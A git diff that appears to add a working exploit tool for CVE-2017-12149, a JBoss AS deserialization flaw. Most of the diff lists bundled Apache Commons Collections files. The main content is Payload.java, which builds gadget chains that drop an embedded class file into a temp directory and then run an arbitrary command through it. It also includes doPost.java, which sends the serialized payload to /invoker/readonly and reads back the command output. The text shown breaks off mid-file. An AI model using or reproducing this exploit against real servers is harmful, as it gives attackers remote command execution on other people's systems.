create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/CursorableLinkedList.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/FixedSizeList.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/LazyList.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/NodeCachingLinkedList.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/PredicatedList.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/SetUniqueList.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/SynchronizedList.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/TransformedList.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/TreeList.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/TypedList.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/UnmodifiableList.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/package.html"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractHashedMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractLinkedMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractMapDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractOrderedMapDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractReferenceMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractSortedMapDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/CaseInsensitiveMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/CompositeMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/FixedSizeMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/FixedSizeSortedMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/Flat3Map.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/HashedMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/IdentityMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LRUMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LazyMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LazySortedMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LinkedMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/ListOrderedMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/MultiKeyMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/PredicatedMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/PredicatedSortedMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/ReferenceIdentityMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/ReferenceMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/SingletonMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/StaticBucketMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/TransformedMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/TransformedSortedMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/TypedMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/TypedSortedMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableEntrySet.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableOrderedMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/UnmodifiableSortedMap.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/package.html"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/overview.html"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/package.html"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/AbstractSerializableSetDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/AbstractSetDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/AbstractSortedSetDecorator.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/CompositeSet.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/ListOrderedSet.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/MapBackedSet.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/PredicatedSet.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/PredicatedSortedSet.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/SynchronizedSet.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/SynchronizedSortedSet.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TransformedSet.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TransformedSortedSet.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TypedSet.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/TypedSortedSet.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/UnmodifiableSet.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/UnmodifiableSortedSet.java"
create mode 100644 "JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/set/package.html"
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/Payload.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/Payload.java"
new file mode 100644
index 0000000..c3ec8bb
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/Payload.java"
@@ -0,0 +1,190 @@
+package com.jboss.main;
+import java.io.ByteArrayOutputStream;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.ObjectOutputStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.net.MalformedURLException;
+import java.net.URLClassLoader;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.bag.SynchronizedSortedBag;
+import org.apache.commons.collections.functors.ChainedTransformer;
+import org.apache.commons.collections.functors.ConstantTransformer;
+import org.apache.commons.collections.functors.InstantiateTransformer;
+import org.apache.commons.collections.functors.InvokerTransformer;
+import org.apache.commons.collections.keyvalue.TiedMapEntry;
+import org.apache.commons.collections.map.LazyMap;
+import org.apache.commons.collections.set.SynchronizedSet;
+
+public class Payload {
+ @SuppressWarnings ( {"unchecked"} )
+ public byte[] upload(String os) throws Exception, Exception {
+
+
+ String TempFilePath = "c:/windows/temp/RunCheckConfig.class";
+ if (os.equals("Linux")) {
+ TempFilePath = "/tmp/RunCheckConfig.class";
+ }
+ byte[] Classofbyte = {-54,-2,-70,-66,0,0,0,50,0,94,7,0,2,1,0,14,82,117,110,67,104,101,99,107,67,111,110,102,105,103,7,0,4,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,6,60,105,110,105,116,62,1,0,21,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,9,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,1,0,4,67,111,100,101,10,0,3,0,12,12,0,5,0,13,1,0,3,40,41,86,7,0,15,1,0,22,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,66,117,102,102,101,114,10,0,14,0,12,7,0,18,1,0,12,106,97,118,97,47,105,111,47,70,105,108,101,8,0,20,1,0,25,47,116,109,112,47,82,117,110,67,104,101,99,107,67,111,110,102,105,103,46,99,108,97,115,115,10,0,17,0,22,12,0,5,0,6,10,0,17,0,24,12,0,25,0,26,1,0,6,101,120,105,115,116,115,1,0,3,40,41,90,8,0,28,1,0,11,91,76,50,57,49,57,49,57,93,13,10,10,0,14,0,30,12,0,31,0,32,1,0,6,97,112,112,101,110,100,1,0,44,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,66,117,102,102,101,114,59,8,0,34,1,0,11,91,87,50,57,49,48,49,51,93,13,10,10,0,36,0,38,7,0,37,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,12,0,39,0,40,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,10,0,36,0,42,12,0,43,0,44,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,7,0,46,1,0,22,106,97,118,97,47,105,111,47,66,117,102,102,101,114,101,100,82,101,97,100,101,114,7,0,48,1,0,25,106,97,118,97,47,105,111,47,73,110,112,117,116,83,116,114,101,97,109,82,101,97,100,101,114,10,0,50,0,52,7,0,51,1,0,17,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,12,0,53,0,54,1,0,14,103,101,116,73,110,112,117,116,83,116,114,101,97,109,1,0,23,40,41,76,106,97,118,97,47,105,111,47,73,110,112,117,116,83,116,114,101,97,109,59,10,0,47,0,56,12,0,5,0,57,1,0,24,40,76,106,97,118,97,47,105,111,47,73,110,112,117,116,83,116,114,101,97,109,59,41,86,10,0,45,0,59,12,0,5,0,60,1,0,19,40,76,106,97,118,97,47,105,111,47,82,101,97,100,101,114,59,41,86,8,0,62,1,0,1,10,10,0,45,0,64,12,0,65,0,66,1,0,8,114,101,97,100,76,105,110,101,1,0,20,40,41,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,10,0,14,0,68,12,0,69,0,66,1,0,8,116,111,83,116,114,105,110,103,10,0,8,0,22,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,16,76,82,117,110,67,104,101,99,107,67,111,110,102,105,103,59,1,0,8,112,97,114,97,109,99,109,100,1,0,18,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,1,0,17,108,111,99,97,108,83,116,114,105,110,103,66,117,102,102,101,114,1,0,24,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,66,117,102,102,101,114,59,1,0,4,102,105,108,101,1,0,14,76,106,97,118,97,47,105,111,47,70,105,108,101,59,1,0,12,108,111,99,97,108,80,114,111,99,101,115,115,1,0,19,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,19,108,111,99,97,108,66,117,102,102,101,114,101,100,82,101,97,100,101,114,1,0,24,76,106,97,118,97,47,105,111,47,66,117,102,102,101,114,101,100,82,101,97,100,101,114,59,1,0,4,115,116,114,49,1,0,4,115,116,114,50,1,0,14,108,111,99,97,108,69,120,99,101,112,116,105,111,110,1,0,21,76,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,91,1,0,16,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,19,82,117,110,67,104,101,99,107,67,111,110,102,105,103,46,106,97,118,97,0,33,0,1,0,3,0,0,0,0,0,1,0,1,0,5,0,6,0,2,0,7,0,0,0,4,0,1,0,8,0,10,0,0,1,61,0,5,0,9,0,0,0,122,42,-73,0,11,-69,0,14,89,-73,0,16,77,-69,0,17,89,18,19,-73,0,21,78,45,-74,0,23,-103,0,13,44,18,27,-74,0,29,87,-89,0,10,44,18,33,-74,0,29,87,-72,0,35,43,-74,0,41,58,4,-69,0,45,89,-69,0,47,89,25,4,-74,0,49,-73,0,55,-73,0,58,58,5,-89,0,15,44,25,6,-74,0,29,18,61,-74,0,29,87,25,5,-74,0,63,89,58,6,-57,-1,-20,44,-74,0,67,58,7,-69,0,8,89,25,7,-73,0,70,58,8,25,8,-65,0,0,0,3,0,71,0,0,0,26,0,6,0,0,0,8,0,4,0,9,0,12,0,10,0,46,0,11,0,76,0,13,0,102,0,14,0,72,0,0,0,102,0,10,0,0,0,122,0,73,0,74,0,0,0,0,0,122,0,75,0,76,0,1,0,12,0,110,0,77,0,78,0,2,0,22,0,100,0,79,0,80,0,3,0,55,0,67,0,81,0,82,0,4,0,76,0,46,0,83,0,84,0,5,0,79,0,12,0,85,0,76,0,6,0,99,0,23,0,85,0,76,0,6,0,108,0,14,0,86,0,76,0,7,0,119,0,3,0,87,0,88,0,8,0,89,0,0,0,37,0,4,-1,0,39,0,4,7,0,1,7,0,90,7,0,14,7,0,17,0,0,6,-2,0,32,7,0,50,7,0,45,7,0,90,-6,0,11,0,1,0,92,0,0,0,2,0,93};
+ Transformer[] transformers = new Transformer[] {
+ new ConstantTransformer(FileOutputStream.class),
+ new InvokerTransformer("getConstructor",
+ new Class[] { Class[].class },
+ new Object[] { new Class[] { String.class } }),
+ new InvokerTransformer("newInstance",
+ new Class[] { Object[].class },
+ new Object[] { new Object[] { TempFilePath } }),
+ new InvokerTransformer("write", new Class[] { byte[].class },
+ new Object[] { Classofbyte }),
+ new ConstantTransformer(1) };
+ Transformer transformerChain = new ChainedTransformer(transformers);
+ Map map1 = new HashMap();
+ Map lazyMap = LazyMap.decorate(map1,transformerChain);
+ TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
+ HashSet map = new HashSet(1);
+ map.add("foo");
+ Field f = null;
+ try {
+ f = HashSet.class.getDeclaredField("map");
+ } catch (NoSuchFieldException e) {
+ f = HashSet.class.getDeclaredField("backingMap");
+ }
+ f.setAccessible(true);
+ HashMap innimpl = (HashMap) f.get(map);
+ Field f2 = null;
+ try {
+ f2 = HashMap.class.getDeclaredField("table");
+ } catch (NoSuchFieldException e) {
+ f2 = HashMap.class.getDeclaredField("elementData");
+ }
+
+ f2.setAccessible(true);
+ Object[] array = (Object[]) f2.get(innimpl);
+
+ Object node = array[0];
+ if(node == null){
+ node = array[1];
+ }
+
+ Field keyField = null;
+ try{
+ keyField = node.getClass().getDeclaredField("key");
+ }catch(Exception e){
+ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
+ }
+
+ keyField.setAccessible(true);
+ keyField.set(node, entry);
+
+ // Serializa o objeto
+// System.out.println("Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser");
+// FileOutputStream fos = new FileOutputStream("ReverseShellCommonsCollectionsHashMap.ser");
+// ObjectOutputStream oos = new ObjectOutputStream(fos);
+// oos.writeObject(map);
+// oos.flush();
+ ByteArrayOutputStream bo = new ByteArrayOutputStream(10);
+ ObjectOutputStream out = new ObjectOutputStream(bo);
+ out.writeObject(map);
+ out.flush();
+ out.close();
+ return bo.toByteArray();
+
+ }
+ public byte[] PayloadGeneration(String cmd,String os) throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
+ IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException, NoSuchFieldException {
+
+ String ClassPath = "file:/c:/windows/temp/";
+
+ if (os.equals("linux")) {
+ ClassPath = "file:/tmp/";
+ }
+ if (os.equals("linux"))
+ cmd =cmd;
+ else
+ cmd = "cmd.exe /c "+cmd;
+
+ System.out.println(cmd);
+ Transformer[] transformers = {
+ new ConstantTransformer(URLClassLoader.class),
+
+ new InvokerTransformer("getConstructor",
+ new Class[] {Class[].class}, new Object[] {
+ new Class[]{java.net.URL[].class}}),
+
+ new InvokerTransformer(
+ "newInstance",
+ new Class[] {
+ Object[].class}, new Object[] { new Object[] { new java.net.URL[] {
+
+ new java.net.URL(ClassPath)
+
+ }}}),
+
+ new InvokerTransformer("loadClass",
+ new Class[] { String.class }, new Object[] { "RunCheckConfig" }),
+
+ new InvokerTransformer("getConstructor",
+ new Class[] { Class[].class },
+ new Object[] { new Class[]{ String.class } }),
+
+ new InvokerTransformer("newInstance",
+ new Class[] { Object[].class },
+ new Object[] { new String[]{ cmd } }) };//执行 带回
+ Transformer transformerChain = new ChainedTransformer(transformers);
+ Map map1 = new HashMap();
+ Map lazyMap = LazyMap.decorate(map1,transformerChain);
+ TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
+ HashSet map = new HashSet(1);
+ map.add("foo");
+ Field f = null;
+ try {
+ f = HashSet.class.getDeclaredField("map");
+ } catch (NoSuchFieldException e) {
+ f = HashSet.class.getDeclaredField("backingMap");
+ }
+ f.setAccessible(true);
+ HashMap innimpl = (HashMap) f.get(map);
+ Field f2 = null;
+ try {
+ f2 = HashMap.class.getDeclaredField("table");
+ } catch (NoSuchFieldException e) {
+ f2 = HashMap.class.getDeclaredField("elementData");
+ }
+
+ f2.setAccessible(true);
+ Object[] array = (Object[]) f2.get(innimpl);
+
+ Object node = array[0];
+ if(node == null){
+ node = array[1];
+ }
+
+ Field keyField = null;
+ try{
+ keyField = node.getClass().getDeclaredField("key");
+ }catch(Exception e){
+ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
+ }
+
+ keyField.setAccessible(true);
+ keyField.set(node, entry);
+
+ // Serializa o objeto
+// System.out.println("Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser");
+// FileOutputStream fos = new FileOutputStream("ReverseShellCommonsCollectionsHashMap.ser");
+// ObjectOutputStream oos = new ObjectOutputStream(fos);
+// oos.writeObject(map);
+// oos.flush();
+ ByteArrayOutputStream bo = new ByteArrayOutputStream(10);
+ ObjectOutputStream out = new ObjectOutputStream(bo);
+ out.writeObject(map);
+ out.flush();
+ out.close();
+ return bo.toByteArray();
+
+ }
+ }
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/doPost.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/doPost.java"
new file mode 100644
index 0000000..966fff5
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/com/jboss/main/doPost.java"
@@ -0,0 +1,103 @@
+package com.jboss.main;
+
+import java.io.BufferedOutputStream;
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.io.OutputStreamWriter;
+import java.net.HttpURLConnection;
+import java.net.MalformedURLException;
+import java.net.Socket;
+import java.net.URL;
+import java.net.URLConnection;
+import java.nio.ByteBuffer;
+
+public class doPost {
+
+ public static String DoPost(String url,byte[] Payload) throws Exception{
+ try {
+// URL realUrl = new URL(url);
+//
+// HttpURLConnection conn = (HttpURLConnection) realUrl.openConnection();
+
+// conn.setDoInput(true);
+// conn.setDoOutput(true);
+// conn.setRequestMethod("POST");
+// conn.addRequestProperty("FileName", fileName);
+// conn.setRequestProperty("accept", "*/*");
+// conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");
+// conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
+ if (!url.substring(0,4).equalsIgnoreCase("http")) {
+
+ url="http://"+url;
+ }
+ URL urlobj=new URL(url);
+ String host=urlobj.getHost();
+ int port=urlobj.getPort();
+ System.out.println(host+port);
+ if (port==-1) {
+ try {
+ String schema=urlobj.getProtocol();
+ if (schema.equalsIgnoreCase("https")){
+ port=445;
+ }else{
+ port=80;
+ }
+ }catch(Exception e) {
+ port=80;
+ }
+
+ }
+
+
+ Socket socket = new Socket(host, port);
+ socket.setSoTimeout(10000);
+ StringBuffer sb = new StringBuffer();
+ sb.append("POST /invoker/readonly HTTP/1.1\r\n");
+ sb.append("Host: "+host+":"+port+"\r\n");
+ sb.append("Content-Length: " + Payload.length + "\r\n");
+ sb.append("accept: */*\r\n");
+ sb.append("user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)\r\n");
+ sb.append("accept: */*\r\n");
+ sb.append("Content-Type: application/x-www-form-urlencoded\r\n");
+ sb.append("\r\n");
+ byte[] b3 = new byte[sb.toString().getBytes().length + Payload.length];
+ System.arraycopy(sb.toString().getBytes(), 0, b3, 0, sb.toString().getBytes().length);
+ System.arraycopy(Payload, 0, b3, sb.toString().getBytes().length, Payload.length);
+ OutputStream data = socket.getOutputStream();
+ //读取文件路径
+ data.write(b3);
+ data.flush();
+ //写入数据
+ BufferedReader br = new BufferedReader(new InputStreamReader(socket.getInputStream()));
+
+ StringBuffer s=new StringBuffer();
+ String line="";
+ while((line = br.readLine())!=null) {
+ s.append(line+"\r\n");
+ }
+ String res = s.toString();
+ if(res.indexOf("java.lang.Exception")>=0) {
+
+ return res.split("java.lang.Exception:")[1].split("RunCheckConfig")[0];
+ }
+ } catch (Exception e) {
+ System.out.println("异常," + e.getMessage());
+ throw e;
+// e.printStackTrace();
+ }
+ return "";
+
+}
+
+ private static void StringBuffer() {
